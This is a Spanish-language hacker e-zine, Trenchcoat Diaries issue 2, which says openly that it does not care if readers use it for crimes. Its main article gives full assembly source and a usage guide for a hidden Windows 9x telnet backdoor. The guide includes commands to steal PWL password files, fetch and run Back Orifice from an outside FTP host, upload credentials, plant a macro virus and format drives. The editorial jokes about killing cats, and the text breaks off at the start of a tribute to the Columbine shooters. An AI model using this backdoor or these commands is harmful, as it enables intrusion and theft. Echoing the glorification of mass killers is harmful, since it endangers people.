...Bringing  you  another  disturbing  creation  from  the  mind  of  one  
sick  animal  who  can't tell  the  difference  and  gets  stupified...

                      _______________________________ 
                     |                               |
                     |     Trenchcoat Diaries  2     |
                     |_______________________________|

                     --Infesting your head... again !--

Nota : Trenchcoat Diaries es una revista distribuida en formato electronico ,
no periodica aunque como todo , sujeta a extraas coincidencias. Producto del
grupo Trenchcoat Legion enfocada al mundo underground o cyberpunk, cuya prin-
cipal intencion es la de infectar un mundo podrido por la estupidez.

Advertencia : No hay advertencias, cada uno usara el contenido aqui expuesto
de la forma que crea apropiada, no nos importa si es usada para cometer deli-
tos , en fin  no seremos  hackers esclavos que luchan por una supuesta liber-
tad  informacion creyendo que las leyes establecidas por una minoria fascista
y clasista son correctas y deben cumplirse  . Ridicula moral hacker segun  mi
punto de vista. Hacker es solo una palabra!.

_____________________________________________________________________________

Se buscan colaboradores ! ! !

Si estas interesado en colaborar con nosotros y posiblemente ser parte del
grupo solo debes mandar tu articulo y las razones por la que merecerias ser
parte de Trenchcoat Legion.

Se buscan distribuidores ! ! !

Si quieres ser distribuidor de nuestra ezine no hay problema, solo comunicate
con nosotros y arreglamos las cosas.


Mientras tanto la ezine esta disponible en:

http://www.zine-store.com.ar
http://tcdiaries.cjb.net -> Sitio oficial
http://www.vanhackez.com


tReNcHcOaT lEgIoN sTaFf :
  
         kacimiro .......... kacimiro@uole.com
         vil roach ......... vil_roach@uole.com
         sk8tan ............ sk8tan@uole.com

cOlaBoRaDoReS :
        
         shredder .......... nomeacuerdo

cOnTeNiDo :

01  Editorial                                     Kacimiro

02  Noticias                                      Group Staff

03  Email del lector                              Kacimiro

04  Hacking Win 9x : Backdoors. !                 Vil Roach

05  Eric Harris and Dylan klebold tribute         Kacimiro

06  Buscando www.happines.com                     Vil Roach

07  Ensamblador bajo win32 II                     Kacimiro

08  Hack-Ufos                                     Traducido por Vil Roach

09  Cracking con SoftIce                          Kacimiro

10  Aprendiendo de la elite                       Vil Roach

11  Cracks                                        Group Staff

12  Ajedrez                                       Boris Greiff 
                                                  Recopiled by Vil Roach

13  Anarchy, drugs, bombs                         Kacimiro

14  Microsoft SFP fucked                          Vil Roach

15  Jack                                          Shredder

16  Working for a lammer-free world               Vil Roach  

17  Virus VBA                                     Vil Roach

18  Despedida                                     Kacimiro

_____________________________________________________________________________
__01_________________________________________________________________________

E d I t O r I a L

Esta es la editorial, aqui uno tiene que hablar de cosas de la ezine y cosas
entretenidas, les iba a contar un cuento de Juanito y unas papayas, pero se
me perdio y me da pereza volverlo a escribir.

La ezine ha sido calificada por varias personas como agresiva y ... no voy a
decir nada al respecto, tal vez : Fuck You, pero no quiero insultarlos.

Ha pasado poco mas de un mes, nos ha rendido mucho escribiendo esto y aunque
esta, creo, un poco mas corta, esta muy buena, un contenido muy sabroso, ar
ticulos muy entretenidos y muy educativos.

La historia de Juanito y las papayas era algo muy entretenido de un nino que
comia papayas y una vez se murio y se lo comieron los gallinazos y de Pepito
un nino que atropeyaron y de familias felices comiendo papaya, era una his-
toria muy linda y se las iba a contar pero se me perdieron los apuntes.

Ve otra cosa, el contenido de la ezinem estoy seguro que ha sido muy mal in-
terpretado por algunas personas, es gracioso como la gente puede tener tan
bajo criterio y el otro problema es que, yo por lo menos soy muy sarcastico
al escribir algunas cosas y la gente no capta ese sentido, necesitaremos al-
gunas sugerencias para superar tan grave problema!, tal vez algunas conven-
ciones para identifiar el sentido de cada texto, en fin eso tambien es estu-
pido pues, no es nuestra culpa que la mayoria de gente que lee esto, no lo
entienda, luego si odiamos al mundo, esto es verdad y algunas cosas aqui son
seria, ay, yo a veces me confundo tambien, por ejemplo cuando termine el co-
legio ya podia comer con los ojos cerrados, pero un dia me eche la leche en-
cima, fue muy aburridor tener que cambiarme de ropa.

Lo que estoy muy seguro es que la mayoria de gente, gente comun que acostum-
brada a leer los periodicos locales se cree culta, luego se topan con una
ezine de este estilo y ven el contenido y pegan un brinco cuando encuentran
satanismo, solo necesitan leer ese titulo y creen conocer la ezine, luego nos
llamaran psicopatas, desadapatados y no se que mas cosas, que en parte son
ciertas XD. La gente no sabe de que satanismo hablamos, luego nos confunden
con gente que sacrifican gatos!, cosa que yo personalmente nunca he hecho,
aunque por ahi lei que uno podia matar un gato dandole agua con alcazetser y
que el gato se infla y no se que vainas, jeje, debe ser muy divertido.

****************************************************************************
Mansaje secreto para satanistas asociados de colombia, demas personas no lo*
lean-----------------------------------------------------------------------*
****************************************************************************
Recientes investigaciones revelan nuevas formas de sacrificio!, Proximo en-*
cuentro en el techo de la parroquia de San Agustin, traer gato. 12:00 pm.  *
****************************************************************************
*************Encripted by Microsoft Office Encripter v4.2*******************
****************************************************************************

Se ruega leer el articulo, donde hay buenas aclaraciones!.

Bueno nos veremos en Trenchcoat Diaries tres, no olviden escribir sus emails,
si es posible colaboren y manden sus articulos. Al principio apareceran como
colaboradores pero si se ganan nuestra confianza, haremos el rito clasico de
castracion para nuevos miembros de Trenchcoat Legion. Nota: solo aplicado a
nuevos miembros, los fundadores y originales miembros sufrieron de un rito de
iniciacion consistente en tomarse una botella de vodka, cada uno y luego vo-
mitar sin ensuciar el borde del sanitario, todos fallaron al principio, por
lo que tuvieron que sufrir el rito por varias semanas, se dice que los fun-
dadores aun lo practican.

Ya saben, asi de simple!. Hasta la proxima.

                          Kacimiro - Trenchcoat legion / For a drunked world!
_____________________________________________________________________________
__02_________________________________________________________________________

Noticias

Noviembre 3 / 2000 - Un aguacero en la localidad donde recide kacimiro dejo
afectadas las tejas de su casa, no hubo heridos pero una pequena gotera em-
papo sus calcetines.

_____________________________________________________________________________
__03_________________________________________________________________________

Email del lector

Hey wasup? que esperan para escribir? yo esperaba muchos insultos o gente
estupida preguntando como convertirse en hackers? No importa, nosotros dis-
frutamos escribiendo esto, se aclaran muchas cosas, solo ha sido una ezine y
esperemos que en la proxima edicion haya de quien reirse! realmente soy feliz
y disfruto riendome de sus estupideces!!
Hubo un email este fue:

From : kacimiro@uole.com
To: tcdiaries@uole.com

Hey, probando, probando, me mando este email a mi mismo, para comprobar el
correcto funcionamiento del email, si lee este mensaje es porque esta funcio-
nado bien y para recordarle entrar la ropa que ya esta seca, kacimiro.

Att: kacimiro.


From : <No me acuerdo de la direccion>
To: tcdiaries@uole.com

eh loko, me copa la zine de ustedes, muy kewl, re flashera.. estan buscando
integrantes.. me gustan esas cosas.. mi pagina es.. http://shredder.cjb.net
 
SHREDDER-- (yZCHUDUDATEd!)
    bLACK rIDERS iNC! (bR2000)
          http://shredder.cjb.net
  F U C K     T H E      W O R L D

[Le entendi : ... ustedes ... integranres ... gustan... pagina ...]
_____________________________________________________________________________
__04_________________________________________________________________________


Backdoors en Win9X

               By

                 Vil Roach


Introduccion 
------------
   
Los backdoors o "puertas traseras" son una de las tecnicas basicas del hack-
ing en miras a penetrar y manejar un sistema externo ; un backdoor es basica-
mente un pequeo programa o script que nos permite volver a tomar control de
un sistema , en caso de que la cuenta shell que teniamos sea cancelada o que 
la tecnica que usabamos para entrar al sistema ya no funcionara.
Esta ha sido una tecnica muy usada y estudiada sobre todo en los S.O Unix ,
existiendo una gran cantidad de tecnicas para realizar backdoors ; por eso
este articulo se va a concentrar en los sistemas operativos Win9X ya que es 
mas comun dia tras dia encontrar este sistema operativo en equipos de 
"Verdad" y no en simples PC de usuario comun ; por ejemplo yo he visto muchas
redes que son administradas por un WinNT, pero el resto de equipos corren 
Win9X-2000 , sirviendo como excelente puertas de entrada .Talvez usted se 
estara preguntando porque hacer un backdoor para win9X sabiendo que existen
programas tan maravillosos como NEtBus y BackOrifice? pues por dos simples 
razones : este tipo de troyanos son muy conocidos y existengran cantidad de
Anti-Virus y utilidades que lo detectan y lo eliminan, y ademas el backdoor
le sirve como una medida de seguridad, es decir no importa como haya usted 
hackeado la maquina (Troyanos,SharedResources,PWL) el backdorr estara ahi es-
condido hasta que usted pierda el acceso a la maquin e inmediatamente lo po-
dra recuperar .


Requisitos
----------

Un backdoor sin importar el sistema sobre el cual corra debe tener las si-
guiente cualidades :

-Sigiloso : El backdoor debe pasar totalmente desapercibido para el adminis-
            trador de la maquina y no debe realizar comportamientos que le-
            vanten alguna clase de sospechas,este cometido lo podemos lograr
            en windows usando la funcion no documentad RegisterService la 
            cual nos permite esconder el programa incluso del dialogo que
            sale cuando presionamos Ctrl + Alt + Del :)

-Atento : El programa debe siempre estar en un modo escucha que nos permita
          comunicarnos cuando queramos , esto lo logramos haciendo el progra-
          ma modo servidor , y registrandolo de forma que se ejcute cada vez
          que se inicie el equipo .

-Pequeo : El programa debe ser pequeo en tamao y en requerimiento , ya que
           no necesitamos un programa que sobrecargue el computador y no lo
           deje trabajar normalmente ,para cumplir este cometido trabajaremos
           con mi lenguje favorito : Win32Asm ; una recomendacion es que se 
           lea primero el articulo de hacking de TCDiaries #1 , y el curso de
           WinASm de Kacimiro .

-Potente : Esta es quiza la principal cualidad que debe tener el backdoor : 
           debe permitirnos manipular todas las partes de S.O , y esto lo lo-
           graremos ejecutando comandos del Command.Com;es increible que con
           un programa de DOS se pueda realizar todas las tareas necesaria 
           para modificar el PC (introducir inf. en el registro , manejar el 
           FTP , compartir recursos , Etc,etc,etc) .


El Programa 
-----------

En esta seccion veremos paso a paso los problemas que debemos resolver para
hacer el backdoor la programacion va a ser lo mas simpel posible para que sea
del enetndiimiento de todo . 

!!!Si usted es un completo perezoso y quiere solamente usar el backdoor , la
ultima seccion del programa enseara como podemos usar el programa para nues-
tros "nobles" fines.!!!

El primer problema que resolveremos sera el de ejecutar los comandos en la
maquina victima , y la solucion es muy facil , simplemente usaremos la util
funcion ShellExecuteA :

ShellExecute(

  HWND hwnd,    // handle to parent window
  LPCTSTR lpOperation, // pointer to string that specifies operation to per-
                       // form
  LPCTSTR lpFile,  // pointer to filename or folder name string
  LPCTSTR lpParameters, // pointer to string that specifies executable-file
                        // parameters 
  LPCTSTR lpDirectory, // pointer to string that specifies default directory
  INT nShowCmd 	// whether file is shown when opened
   );

La explicacion de los paremtros es muy simple :

Hwnd : Sera el handle de la ventana padre , le podemos poner 0 (Null)
lpOperation : Sera la accion que vamos a ejecutar y puede ser : open , print 
              o explore;en nuestro caso : open .
lpFile : Nombre del archivo con el que vamos a trabajar, en nuestro caso : 
         command.com
lpParametros : Cadena con los paremtros para el programa , en nuestro caso 
               sera "/c" segudio del comando que se reciba por Telnet .
lpDirectory : el directorio por defecto , en nustro caso sera 0 (Null)
nShowCmd : Especifica si se va a mostrar el programa o no , en nustro caso 
           sera la opcion SW_HIDE la cual no muestra la ventana del programa .

Si a alguien le queda alguna duda esta es la forma de llamar la funcion : 

Nota : Como siempre mis programas estaran hechos para el Tasm 5.0 o superior .

extrn ExitProcess:PROC
extrn ShellExecuteA:PROC


.data 

command db "ftp",0
param db "/c copy c:\windows\*.pwl a:\",0
open db "open",0

.code 

enpo:

push SW_HIDE
push Null
push offset param
push offset command
push offset open
push Null
call ShellExecuteA 


Este es un pequeo programa que llama al command.com invisible y que le orde-
na copiar los pwl al diskette . Una mejora que se le agragra al programa fi-
nal sera el de agregarle al final del comando la orden "> C:\windows\res.sys"
para que todo lo que deberia aparecer en la ventada DOS, se guarde en un fi-
chero de texto y luego enviar este fichero a la ventan del telnet para hacer
mucho mas comodo el trabajo . Tambien podemos usar la funcion WinExec cuyos
parametros son muchos mas faciles (el programa a ejecutar,y la forma de mos-
trar la ventana) , pero les ensee la anterior por que nos puede ser util mas
adelante ;) . He aqui un ejemplo de WinExec :

.data
com db "C:\windows\command.com /c format c: /autotest",0 ;)

.code
entry :
push SW_HIDE
push SW_MAXIMIZE
call WinExec

end entry

COmo vemos es mas facil y por eso la usaremos en el backdoor, juntando las
cadenas en tiempo real ("Command.com" + comando + " > win.sys").

Recordar que en Asm los parametros a funciones se pasan con Push y en orden
inverso al normal .

Listo ya sabemos como ejecutar los comandos sigilosamente , ahora vamos a 
arender a esconder el ejecutable principal a los ojos de los curiosos , y
para hacerlo usaremos la funcion : "RegisterServiceProcess" , el problema con
esta funcion es que Microsoft con animos de oscurecer aun mas el interior de
sus mediocres sistemas operativos, trato de esconder esta funcion indocumen-
tandola , asi que deberemso usar un par de funciones para encontrarla :

HMODULE GetModuleHandle(

    LPCTSTR lpModuleName 	// address of module name to return handle for  
   );	
 
Esta funcion nos regersa el Handle o manejador de la DLL que le indiquemos en
lpModulName, en nuestro caso "kernel32.Dll" .

FARPROC GetProcAddress(

    HMODULE hModule,	// handle to DLL module  
    LPCSTR lpProcName 	// name of function 
   );

Esta funcion nos devuleve la direccion de la funcion que especifiquemos en
lpProcName, y la busca en el modulo cuyo handle es hModule , y el cual debi-
mos haber obtenido con la funcion anterior .

Conociendo ya las funcione veremos la forma de llamar a 
RegisterServiceProcess :

.data

kernel32         db    'kernel32.dll', 0
funcion          db    'RegisterServiceProcess', 0  
RegSerProcess    dd  	?
.code

start :

push offset kernel32
call GetModuleHandle

push offset funcion
push eax ;valor que devuleve la anterior funcion 
call GetProcAddress

mov [RegSerProcess],eax 

push 1  ; 1 =  Esconder , 0 = Desesconder 
push 0  ; Este programa 
call RegSerProcess

push 0 
call ExitProcess


Como ven todo es muy sencillo , simplemente recordar que las funciones devuel
ven el resultado en EAX , asi que tomamo el valor que devuelve la funcion
GetProcAdress , y lo seguimos usando para llamar a la funcion .

Antes de mepezar a programar las rutinas de red solo nos queda un detalle, el
grabar en el registro un valor para que el programa se ejcute cad vez que se
reinicia el computador , y eso lo hacemos con laa funciones :

LONG RegCreateKeyEx(

  HKEY hKey,	// Identifica cual de las Key principales , en nuestro caso
                  //  HKEY_LOCAL_MACHINE
  LPCTSTR lpSubKey,	// Nombre de la Subkey (SOFTWARE\Microsoft\Windows\
                        // CurrentVersion\Run)
  DWORD Reserved,	// 0
  LPTSTR lpClass,	// 0
  DWORD dwOptions,	// 0
  REGSAM samDesired,	// 0
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,	// 0
  PHKEY phkResult,	// Variable donde guardar el identificador de la key
                        // abierta o creada
  LPDWORD lpdwDisposition 	// 0
   );	
 
Solo aclarar que si la key ya existe esta funcion simplemente la abre y nos
devuelve el Handle de la key .

LONG RegSetValue(

    HKEY hKey,	// handle de la key , El que devuelve la anterior funcion
    LPCTSTR lpSubKey,	// Subkey , en este caso SysMon32
    DWORD dwType,	// tipo del valor , en este caso REG_SZ (String) 
    LPCTSTR lpData,	// Dato del valor o sea Sysmon32.exe
    DWORD cbData 	// Tamao del string
   );	
 
LONG RegCloseKey(

    HKEY hKey 	// Handle del Key a cerrar
   );

Las cuales usamos de esta manera :

strkey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
str1         db "SysMon32"
str2         db "SysMon32.Exe"
hkey         dd ?
hmachine     dd 80000002h                       ; HKEY_LOCAL_MACHINE

push 0
push offset hkey
push 0
push 0
push 0
push 0
push 0
push offset strkey
push hmachine
call RegCreateKeyExA

push 0Bh ;tamao del string 
push offset str2
push 01h              ;REG_SZ
push 0
push offset str1
push hkey 
Call RegSetValueExA
Push hkey
CAll RegCloseKey


;Y Listo !

Ahora podemos aprender la forma de trabajar en modo servidor en nuestros pro-
gramas de Winsock/Internet .


Nota : Solo explicare las funciones de Winsock que no halla tratado en el
articulo anterior , asi que si aun no lo ha leido le recomiendo que lo haga .

Cuando ya hallamos inicializado Winsock (WSAstartup) y hallamos creado un so-
cket , lo que tenemos que hacer ahora es ponerlo en modo "lsite" , pero antes
lo tenemos que asociar con un puerto y esto lo hacemos con la funcion Bind, a
la cual hay que pasarle como parametro la siguiente estructura :

;addr    struc
;proto   dw 2            ;  protocolo ( 2 = AF_INET)
;port    dw ?            ;  Puerto,se forma con dos bytes  (23 = 0,017h)
;ip      db ?,?,?,?      ;  IP , esta solo la usamos si nos vamos a conectar 
                         ;  a u IP especifico
;addr    ends            ;  por eso aqui no la necesitamos 

Asi que declaramos la estructura directamente de esta forma :

addr1   dw 2
        db 0,017h            ;   puerto que "escucha" (23)
        dd ?

Y llamamos a Bind 

push 16           ; Tamao de la estructura addr (en Bytes)
push offset addr1 ; Puntero donde esta la estructura 
push sck_hdl      ; handle del socket abierto (con la funcion socket)
call bind

cmp eax,-1
je adios

Si hay un error , mejor nos largamos .

Ahora que ya tenemos el socket asociado con un dterminado puerto lo ponemos
en modo listen con la funcion ... Listen !!

push 2         ; AF_INET
push [sck_hdl] ; Socket que deseamos poner a escuchar
call listen

Ahora solo nos queda esperar los intentos de comunicacion con la funcion
accept, esta funcion lo que hace es esperar hasta que alguien trate de comu-
nicarse, y cuando lo hace devuelve en EAX el handle de un nuevo socket con el
cual podemos recibir los paquetes y enviarlos. Por esto es que usamos el 
puerto 23, por que por ese mismo puerto los devolvemos y aparecera en la ven-
tana de telnet .

La manera de llamar a la funcion es muy sencilla :
push 0 
push 0 
push sck_hdl  ; handle de un socket en modo "listen"
call accept

mov [sck_hdl2],eax

Y ya podemos enviar y recibir paquetes por el socket sck_hdl2 , maravilloso !

Ya en este punto empezamos a toparnos con ciertos problemas , primero que to-
do vemos que el telnet manda caracter por caracter , asi que dedemos irlos
juntando 1 a 1 para construir la orden final , pero como sabemos cuando ter-
mina una orden , pues simple vamos a hacer que cuando el programa encuentre
un "_" , de por terminada la orden y la ejecute , esto lo hacemos asi :

next_char :

push 0                
push 1
push offset char
push sck_hdl2
call recv   ; aqui recibimo un caracter y lo guardamos en char 

cmp char,"_"  ; si es "_" procedemos a ejecutar la orden 
je listo 

push offset char
push offset finalchar
call lstrcat  ; con esta funcion le agregamos una cadena a otra (finalchar =
finalchar + char)

jmp next_char

Y listo !

este problema ya esta solucionado , asi que cuando tenemos la orden le agre-
gamos al principio la palabra "c:\windows\command" y al final " > win.sys"
para que toda la salida de la orden se guarde en un archivo y podamos mandar-
lo a la ventana de Telnet :)

Ahora nos encontramos cono otro gran problemota , resulta que una de las mas
indispensable cualidades del backdoor , seria la de crear archivos de texto
con la orden : echo , por ejemplo :

Echo "Say Bye Bye to your Hard Disk , Stupid !" > Win.Vbs , y el problema es
que como ya estamos usando el operador ">" para meter la salida en un archivo,
entonces el metodo no funciona y estamos jodidos, o no ?

Pues NO , ya que unas cuantas lineas nos dejarans desjodidos ;) :

cmp char,">"  ; si es ">" entonces no guardamos la salida en un file
je simbol <--.
             |
             |
Luego en simbol guardamos el cracater y ponemos la variable [flag] a 1, y
luego en el lugar en el que agregamos la parte de " > C:\Windows\Win.sys",
miramos si flag es 1 y saltamos si es asi ,esto tambien lo hacemos antesde
abrir el archivo para mandar , si [flag] es 1 entonces no abrimos nada de
nada. Asi que las rutina que forman el comando final quedan asi :


push offset command  ; ="C:\Windows\Command.Com"
push offset finalcom
call lstrcpy

push offset finalchar ; este es el comando que llego por telnet
push offset finalcom
call lstrcat

cmp [flag],1
je no_file
push offset arch ; = " > C:\Windows\Win.sys"
push offset finalcom
call lstrcat

no_file:

El ultimo "problemilla" que nos encontramos , es que muchas veces el DOS es
muy lento para producir el archivo de salida, entonces el programa nos manda
el archivo del comando anterior, asi que despues de cada comando debemos bo-
rrar el archivo "C:\Windows\Win.Sys" y cuando lo abramos con la funcion 
CreateFileA , debemos ver si si abrio y si no es porque aun no se ha creado
entonces intentamos abrirlo de nuevo y listo :) .

push SW_HIDE
push offset finalcom 
call WinExec    ; Finalmente ejecutamos el comando

cmp [flag],1 
je no_file2 ; no tratamos de abrir el archivo !

wait_open :

push 0                     ;htemplate
push 080h                     ;Dwflags and atribbutes NORMAL_ATRIBUTE
push 3
push 0                     ;security_atributes
push 2                    ;dwShareMode        
push 80000000h           ;GENERIC_READ
push offset namearch
call CreateFileA

cmp eax,0ffffffffh
je wait_open

El resto de codipush SW_HIDE
push offset finalcom 
call WinExec    ; Finalmente ejecutamos el comando


cmp [flag],1 
je no_file2

wait_open :

push 0                     ;htemplate
push 080h                     ;Dwflags and atribbutes NORMAL_ATRIBUTE
push 3
push 0                     ;security_atributes
push 2                    ;dwShareMode        
push 80000000h           ;GENERIC_READ
push offset namearch
call CreateFileA

cmp eax,0ffffffffh
je wait_open

En el resto de codigo lo que hacemos es leer todo el archivo y mandarlo con
la funcion send , luego liberamos la memoria , cerramos el handle y volvemos
a oir mas comandos , y Listo !


Guia de Usuario de Backy 1.0 o Dos para Dummies
-----------------------------------------------

Esta es la seccion donde explicaremos para que diablos nos sirve el backdoor,
y como diablos lo usamos. Y la respuesta es muy sencilla podemos hacer todo lo 
que el DOS nos permite lo cual es : Mucho!. Y si no me creen pues veamos
ejemplos reales :

Lo primero que podemos hacer es explorar la maquina , y esto lo hacemos con
comandos como :

dir C:\*.*_ 
Type (nombre).txt_ 
dir /s C:\*.skr _  ; el /s hace que busque en los subdirectorios , y skr es
                   ; la extension de la clave de PGP ;)

NOTA IMPORTANTE ! : Por alguna razon el programa se traba cuando mandamos un
                    enterazo o sea que presionamos Enter , asi que debemos
                    recordar terminar los comandos con un "_" y no con un
                    Enter !.

-Si queremos introducir informacion en el registro , simplemente lo hacemos
asi :

;recuerda que con > introducimos datos en un file nuevo y con >> lo vamos
agregando al final echo REGEDIT4 > C:\win32.reg_
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> 
      C:\win32.reg_
echo "System"="Sys.Exe" >> C:\win32.reg  ;creamos el archivo .reg_
  
start C:\win32.reg_   ; y lo abrimos con Regedit
del C:\win32.reg_ ;y de esta forma guardamos la informacion que queramos



-Si queremos bajar al computador un archivo por ftp , lo hacemos asi :

echo o webjump.vil_roach.com > C:\win32.sys_
echo user vilroach >> C:\win32.sys_
echo pass password >> C:\win32.sys_
echo cd img >> C:\win32.sys_
echo binary >> C:\win32.sys_
echo get boserve.exe >> C:\win32.sys_
echo quit >> C:\win32.sys_   ;creamos un archivo que servira de script al Ftp
                             ;de DOS

ftp.exe -n -s:c:\Win32.sys_ ;ejecutamos el DOS y le decimo que ejecute lo que
                            ;dice el archivo

start boserve.exe_  ; y le instalamos Back Orifice en su maquinucha ;)

Si quisieramos que el nos mandar un archivo cambiariamos 
"echo get boserve.exe >> C:\win32.sys_" por digamos :

echo put c:\windows\user.pwl >> C:\win32.sys_ ;)

-Y si queremos infectar el computador con un virus de Word , por ejemplo ha-
cemos esto :

echo On error resume next > C:\Winstart.Vbs_
echo Set WordObj = CreateObject("Word.Application") >> C:\Winstart.Vbs_
echo WordObj.NormalTemplate.VBProject.VBComponents.import 
     ("c:\windows\res.dll") >> C:\Winstart.Vbs ;res.dll es la fuente del virus_
echo WordObj.NormalTemplate.save >> C:\Winstart.Vbs_
echo WordObj.Quit  >> C:\Winstart.Vbs_

start Winstart.Vbs_

-Si quisieramos saludar al usuario lo hariamos asi :

echo  MsgBox "Hola Usuario","ESTUPIDO!!!" >> C:\Win32Dll.Vbs_
start Win32Dll.Vbs_

-Si quisieramos apagar su computador lo podmeos hacer asi :
echo On error resume next > C:\Winstart.Vbs_
echo Set WordObj = CreateObject("Word.Application") >> C:\Winstart.Vbs_
echo WordObj.Tasks.ExitWindows_

Definitivamente la mas importante de todas es la del ftp , ya que nso permite
pasar y obtener files , lo cual es lo mas util , para por ejemplo instalar
keyloggers,troyanos,etc. y tambien nos permite obtener Pwl's o cialquier ar-
chivo curioso que veamos por ahi. Por ultimo un comando que debe de resultar
lo mas de entretenido para el usuario :

cd con\con

Nota Final : Lamentablemente el programa aun esta en la version 1.0 por lo
que puede resultar un poco inestable, especialmente cuando nos conectamos ,
nos desconectamos y tratamos de conectarnos en una misma sesion , el programa
tendera a funcionar extraamenmte , por lo que recomeindo que una vez conec-
tado hagamos todo lo que tengamos que hacer o simplemente que nos quedemos
conectados todo el tiepmpo para evitar tener que volvernos a conectar .

Espero que hayan entendido y se anime a hacer sus propios programas con su
respectivo articulo para TrenchCoat Diaries.


                                        Vil Roach / Trenchcoat Legion -  NO !
                                                           vil_roach@uole.com

La Fuente ! 
-----------

He aqui lo que todos estaban esperando (o al mens asi me gustar creerlo) :

<--------------------------------Mak.BAt------------------------------------>

tasm32 /mx /m3 /z /q back
tlink32 -x /Tpe /aa /c back,back,,import32.lib

< --------------------------Here Ends Mak.bat------------------------------->


Starring :


<-------------------------------Backy.Asm----------------------------------->




;   Backy The BackDoor 

;Vil Roach Win 9x Backdoor .
.386
.Model Flat ,StdCall
locals
jumps                ;Ajustes para el compilador y su forma de compilar 

include c:\tasm\include\windows.inc
include c:\tasm\include\wsocks.inc   ;Include Files

extrn ShellExecuteA:PROC
extrn RegCreateKeyExA:PROC
extrn RegSetValueExA:PROC
extrn RegCloseKey:PROC
extrn WSAstartup:PROC
extrn DeleteFileA:PROC
extrn WinExec:PROC
extrn lstrcat:PROC
extrn lstrcmp:PROC
extrn lstrcpy:PROC
extrn lstrlen:PROC
extrn bind:PROC
extrn closesocket:PROC
extrn CreateFileA:PROC
extrn GetFileSize:PROC
extrn GlobalAlloc:PROC
extrn GlobalFree:PROC
extrn ReadFile:PROC
extrn recv:PROC
extrn send:PROC
extrn accept:PROC
extrn listen:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn CloseHandle:PROC
extrn GetModuleFileNameA:PROC
extrn CopyFileA:PROC

.data 
filename db 150 dup (0)
newfilename db "c:\Windows\WinMon32.Exe",0 
kernel32         db    'kernel32.dll', 0
funcion          db    'RegisterServiceProcess', 0  
RegSerProcess    dd  	?
bye db "bye",0
finalchar db 100 dup (0)
hdlreg dd ?
command db "C:\windows\command.com  ",0
open db "open",0
strkey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
str1         db "SysMon32",0
str2         db "c:\Windows\WinMon32.Exe",0
hkey         dd 0
hmachine     dd 80000002h                       ; HKEY_LOCAL_MACHINE
res db 0,0,0,13,"Echo, porqueecho Sir!",0
str_WSAdata  wsadata   ? 
sck_hdl dd ?
sck_hdl2 dd ?
char db 1
num db ?
addr1   dw 2
        db 0,017h            ;   incoming port (456 here)
        dd ?
param db 100 dup (0)
finalcom db 150 dup (0)
arch db " > c:\windows\win.sys",0
namearch db "c:\windows\win.sys",0
del db "command.com /C del C:\windows\win.sys /y",0
fhandle dd ?
fsize	 dd  ?	
memptr	 dd  ?
bread    dd  ?
bwrite   dd  ?
flag db 0
.code 

enpo:


push offset kernel32
call GetModuleHandleA

push offset funcion
push eax ;valor que devuleve la anterior funcion 
call GetProcAddress

mov [RegSerProcess],eax 

push 1  ; 1 =  Esconder , 0 = Desesconder 
push 0  ; Este programa 
call RegSerProcess

push 0
call GetModuleHandleA

push 151
push offset filename
push eax
call GetModuleFileNameA

push 0
push offset newfilename
push offset filename
call CopyFileA

push offset namearch
call DeleteFileA

push 0
push offset hkey
push 0
push 0
push 0
push 0
push 0
push offset strkey
push hmachine
call RegCreateKeyExA

push 0Bh ;tamao del string 
push offset str2
push 01h              ;REG_SZ
push 0
push offset str1
push hkey 
Call RegSetValueExA

Push hkey
CAll RegCloseKey

push offset str_wsadata
push VERSION1_1 
call WSAStartup     ;Inicializamos Winsock


mov [finalchar],"/"
mov [finalchar+1],"C"
mov [finalchar+2]," "

;---------------------------^^^INIT ROUTINE^^^-------------------------------




push	0	     ;Create the socket that will listen for incoming connections
push	SOCK_STREAM
push	AF_INET
call socket

mov sck_hdl,eax

push 16           ; Tamao de la estructura addr (en Bytes)
push offset addr1 ; Puntero donde esta la estructura 
push sck_hdl      ; handle del socket abierto (con la funcion socket)
call bind


push 2         ; AF_INET
push [sck_hdl] ; Socket que deseamos poner a escuchar
call listen

scan_port :

push 0 
push 0 
push sck_hdl
call accept

mov [sck_hdl2],eax

next_char :

push 0                
push 1
push offset char
push sck_hdl2
call recv   ; aqui recibimo un caracter y lo guardamos en char 

cmp eax,-1
je scan_port 

cmp char,"_"  ; si es "_" procedemos a ejecutar la orden 
je listo 

cmp char,">"  ; si es ">" entonces no guardamos la salida en un file
je simbol 


push offset char
push offset finalchar
call lstrcat  ; con esta funcion le agregamos una cadena a otra 
              ; (finalchar = finalchar + char)

jmp next_char

simbol :
push offset char  ; aqui llegamos si hay un > en el comando 
push offset finalchar
call lstrcat  
mov [flag],1 ; y ponemos [flag] a 1 para indicarle al prog. que no debe guar-
             ; dar la salida en un file jmp next_char

listo :



push offset command  ; ="C:\Windows\Command.Com"
push offset finalcom
call lstrcpy

push offset finalchar ; este es el comando que llego por telnet
push offset finalcom
call lstrcat

cmp [flag],1
je no_file
push offset arch ; = " > C:\Windows\Win.sys"
push offset finalcom
call lstrcat

no_file:
push offset namearch
call DeleteFileA

push SW_HIDE
push offset finalcom 
call WinExec    ; Finalmente ejecutamos el comando


cmp [flag],1 
je no_file2

wait_open :

push 0                     ;htemplate
push 080h                     ;Dwflags and atribbutes NORMAL_ATRIBUTE
push 3
push 0                     ;security_atributes
push 2                    ;dwShareMode        
push 80000000h           ;GENERIC_READ
push offset namearch
call CreateFileA

cmp eax,0ffffffffh
je wait_open


mov  fhandle,eax

push 0
push fhandle
Call GetFileSize
mov  fsize,eax	

push fsize
push 0
call GlobalAlloc

mov  memptr,eax		

push 0
push offset bread	
push fsize		
push memptr		
push fhandle		
Call ReadFile		

push 0                
push fsize
push memptr
push sck_hdl2
call send

no_file2:
mov [flag],0
push offset finalchar 
call lstrlen

mov ecx,eax

loopit:

mov [finalchar+ecx],0

loop loopit

mov [finalchar],"/"
mov [finalchar+1],"C"
mov [finalchar+2]," "

push fhandle
call CloseHandle 

push memptr
call GlobalFree

jmp next_char


end enpo

<-------------------------Here Ends Backy.Asm------------------------------->

_____________________________________________________________________________
__05_________________________________________________________________________
_____________________________________________________________________________
Eric Harris And Dylan Klebold________________________________________________
___Reb      and    voDKa_____________________________________________________

Empezamos con una nueva edicion y no podemos pasar la #2 sin referirnos a al-
go que definitivamente marca a Trenchcoat Legion.

